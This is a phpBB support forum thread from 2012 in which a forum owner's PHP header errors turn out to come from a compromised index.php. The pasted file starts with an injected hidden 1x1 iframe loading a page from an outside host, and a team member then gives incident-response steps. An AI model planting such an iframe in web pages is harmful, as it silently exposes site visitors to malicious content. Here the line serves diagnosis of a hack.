Has my php forum crashed ?

Get help with installation and running phpBB 3.0.x here. Please do not post bug reports, feature requests, or MOD-related questions here.
Anti-Spam Guide
Forum rules
END OF SUPPORT: 1 January 2017 (announcement)
Locked
colorwarphotos
Registered User
Posts: 78
Joined: Tue Oct 05, 2010 11:41 am

Has my php forum crashed ?

Post by colorwarphotos » Tue Jan 31, 2012 7:26 am

I have been running phpbb3 3.07 for the last 12 months with almost zero problems.
I have not been on my forum (www.pixpast.com) for the last two days.
Two days ago it was running perfect.
This morning i started getting emails from friends telling me the forum is down ?
When i enter the forum frontpage, strangly it is coming up ok but with these error messages ontop.

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4506: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4508: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4509: Cannot modify header information - headers already sent by (output started at /index.php:1)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4510: Cannot modify header information - headers already sent by (output started at /index.php:1)

Before I go into the hosting account and snoop around, I would really really love if some one could tell me what this might be ?
The problem with going into my hosting account is, the second I log in, my hosting account can say i have modafied something and broken the site, there fore, they wont offer me a full backup from 1 day ago.

One other point, the last time, about 1 year ago that the pixpast forum went down, i phoned with the hosting guys and the found out that a automatic setting for SQL database had been turned off. the man clicked it back on the forum worked ?
could this forum failure have to do with the sql database or has something been corrupted ?

What would be the best step to get the forum back running `?

Thanks a million guys.
Best wishes.
Ian

User avatar
Mick
Support Team Member
Support Team Member
Posts: 21676
Joined: Fri Aug 29, 2008 9:49 am
Location: Cardiff

Re: Has my php forum crashed ?

Post by Mick » Tue Jan 31, 2012 7:48 am

Have you beed editing anything? The error is on line 1 of index.php, you have a line, space or, most likely, a BOM (byte order mark) before the <?php bit of that file. You need to remove the BOM making sure you edit it with a good text editor like notepad++ and save it with encoding UTF-8 without BOM. Do not use dreamweaver, MS notepad or Word. If that doesn't help please fill out the Support Request Template Generator and post it back here to enable us to assist you better.
"The more connected we get the more alone we become" - Kyle Broflovski

colorwarphotos
Registered User
Posts: 78
Joined: Tue Oct 05, 2010 11:41 am

Re: Has my php forum crashed ?

Post by colorwarphotos » Tue Jan 31, 2012 10:56 am

thank you Mick.
I will try that tonight.
What is very strange is.
I am the only one with permssion to access these files and I have not touched any thing in the last.... 2 weeks ?
i didnt even turn on my computer the last two days because I was busy.

What could make this index.php be edited ??

Thank you.
Ian

ALSO !! if it is only this one file index,php, could i swap it out for a older copy that i made of the file 2 weeks ago ? or would that totally confuse and corrupt the forum system and database ?

colorwarphotos
Registered User
Posts: 78
Joined: Tue Oct 05, 2010 11:41 am

Re: Has my php forum crashed ?

Post by colorwarphotos » Tue Jan 31, 2012 12:04 pm

ok i checked the folder and file structure online.
thankfully it is all there, all php files, attachments, every thing apparently.
the last active date for the forum was
Tue 31 Jan 2012 00:38
so last night.

So the problem may now lie with the phpbb3 forum software ?

here is the current ( not working ) code from the index.php

Can some one spot what the problem is or maybe suggest a solution to my crashed forum ?
Thanks.
Ian
...............................................................................................................

<iframe src=http://marcodenicolais.it/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><?php
/**
*
* @package phpBB3
* @version $Id$
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
*/

/**
* @ignore
*/
define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);

// Start session management
$user->session_begin();
$auth->acl($user->data);
$user->setup('viewforum');

display_forums('', $config['load_moderators']);

// Set some stats, get posts count from forums data if we... hum... retrieve all forums data
$total_posts = $config['num_posts'];
$total_topics = $config['num_topics'];
$total_users = $config['num_users'];

$l_total_user_s = ($total_users == 0) ? 'TOTAL_USERS_ZERO' : 'TOTAL_USERS_OTHER';
$l_total_post_s = ($total_posts == 0) ? 'TOTAL_POSTS_ZERO' : 'TOTAL_POSTS_OTHER';
$l_total_topic_s = ($total_topics == 0) ? 'TOTAL_TOPICS_ZERO' : 'TOTAL_TOPICS_OTHER';

// Grab group details for legend display
if ($auth->acl_gets('a_group', 'a_groupadd', 'a_groupdel'))
{
$sql = 'SELECT group_id, group_name, group_colour, group_type
FROM ' . GROUPS_TABLE . '
WHERE group_legend = 1
ORDER BY group_name ASC';
}
else
{
$sql = 'SELECT g.group_id, g.group_name, g.group_colour, g.group_type
FROM ' . GROUPS_TABLE . ' g
LEFT JOIN ' . USER_GROUP_TABLE . ' ug
ON (
g.group_id = ug.group_id
AND ug.user_id = ' . $user->data['user_id'] . '
AND ug.user_pending = 0
)
WHERE g.group_legend = 1
AND (g.group_type <> ' . GROUP_HIDDEN . ' OR ug.user_id = ' . $user->data['user_id'] . ')
ORDER BY g.group_name ASC';
}
$result = $db->sql_query($sql);

$legend = array();
while ($row = $db->sql_fetchrow($result))
{
$colour_text = ($row['group_colour']) ? ' style="color:#' . $row['group_colour'] . '"' : '';
$group_name = ($row['group_type'] == GROUP_SPECIAL) ? $user->lang['G_' . $row['group_name']] : $row['group_name'];

if ($row['group_name'] == 'BOTS' || ($user->data['user_id'] != ANONYMOUS && !$auth->acl_get('u_viewprofile')))
{
$legend[] = '<span' . $colour_text . '>' . $group_name . '</span>';
}
else
{
$legend[] = '<a' . $colour_text . ' href="' . append_sid("{$phpbb_root_path}memberlist.$phpEx", 'mode=group&g=' . $row['group_id']) . '">' . $group_name . '</a>';
}
}
$db->sql_freeresult($result);

$legend = implode(', ', $legend);

// Generate birthday list if required ...
$birthday_list = '';
if ($config['load_birthdays'] && $config['allow_birthdays'])
{
$now = getdate(time() + $user->timezone + $user->dst - date('Z'));
$sql = 'SELECT u.user_id, u.username, u.user_colour, u.user_birthday
FROM ' . USERS_TABLE . ' u
LEFT JOIN ' . BANLIST_TABLE . " b ON (u.user_id = b.ban_userid)
WHERE (b.ban_id IS NULL
OR b.ban_exclude = 1)
AND u.user_birthday LIKE '" . $db->sql_escape(sprintf('%2d-%2d-', $now['mday'], $now['mon'])) . "%'
AND u.user_type IN (" . USER_NORMAL . ', ' . USER_FOUNDER . ')';
$result = $db->sql_query($sql);

while ($row = $db->sql_fetchrow($result))
{
$birthday_list .= (($birthday_list != '') ? ', ' : '') . get_username_string('full', $row['user_id'], $row['username'], $row['user_colour']);

if ($age = (int) substr($row['user_birthday'], -4))
{
$birthday_list .= ' (' . ($now['year'] - $age) . ')';
}
}
$db->sql_freeresult($result);
}

// Assign index specific vars
$template->assign_vars(array(
'TOTAL_POSTS' => sprintf($user->lang[$l_total_post_s], $total_posts),
'TOTAL_TOPICS' => sprintf($user->lang[$l_total_topic_s], $total_topics),
'TOTAL_USERS' => sprintf($user->lang[$l_total_user_s], $total_users),
'NEWEST_USER' => sprintf($user->lang['NEWEST_USER'], get_username_string('full', $config['newest_user_id'], $config['newest_username'], $config['newest_user_colour'])),

'LEGEND' => $legend,
'BIRTHDAY_LIST' => $birthday_list,

'FORUM_IMG' => $user->img('forum_read', 'NO_UNREAD_POSTS'),
'FORUM_UNREAD_IMG' => $user->img('forum_unread', 'UNREAD_POSTS'),
'FORUM_LOCKED_IMG' => $user->img('forum_read_locked', 'NO_UNREAD_POSTS_LOCKED'),
'FORUM_UNREAD_LOCKED_IMG' => $user->img('forum_unread_locked', 'UNREAD_POSTS_LOCKED'),

'S_LOGIN_ACTION' => append_sid("{$phpbb_root_path}ucp.$phpEx", 'mode=login'),
'S_DISPLAY_BIRTHDAY_LIST' => ($config['load_birthdays']) ? true : false,

'U_MARK_FORUMS' => ($user->data['is_registered'] || $config['load_anon_lastread']) ? append_sid("{$phpbb_root_path}index.$phpEx", 'hash=' . generate_link_hash('global') . '&mark=forums') : '',
'U_MCP' => ($auth->acl_get('m_') || $auth->acl_getf_global('m_')) ? append_sid("{$phpbb_root_path}mcp.$phpEx", 'i=main&mode=front', true, $user->session_id) : '')
);

// Output page
page_header($user->lang['INDEX']);

$template->set_filenames(array(
'body' => 'index_body.html')
);

page_footer();

?>

User avatar
Erik Frèrejean
Former Team Member
Posts: 9899
Joined: Tue Oct 09, 2007 9:09 am
Location: The Netherlands, 3.0.x Support Forum
Name: Erik Frèrejean
Contact:

Re: Has my php forum crashed ?

Post by Erik Frèrejean » Tue Jan 31, 2012 12:06 pm

That's no phpBB code.
If your board has been hacked, please do the following before making any modifications to your board (this includes changing passwords, editing files, running the support toolkit, etc.):
1) Save a copy of the files (simply create a local copy of the files on the server).
2) Save a copy of the database.
3) Save the server access logs for the time of the hack (they may be available in the 'logs' directory on the server, in your host's control panel or only by request directly from your host).
4) File a report in the incident tracker. Attach the items from steps 1-3 when you file the report or upload them to a secure location for the incident investigation team to download. Please do not start a new topic on the board, the proper place for incidents reports is the tracker.
Support Toolkit | Support Request Template | Knowledge Base | phpBB 3.0.x documentation
I don't give support via PM or IM! (all unsolicited pms will be trashed!)

Locked

Return to “[3.0.x] Support Forum”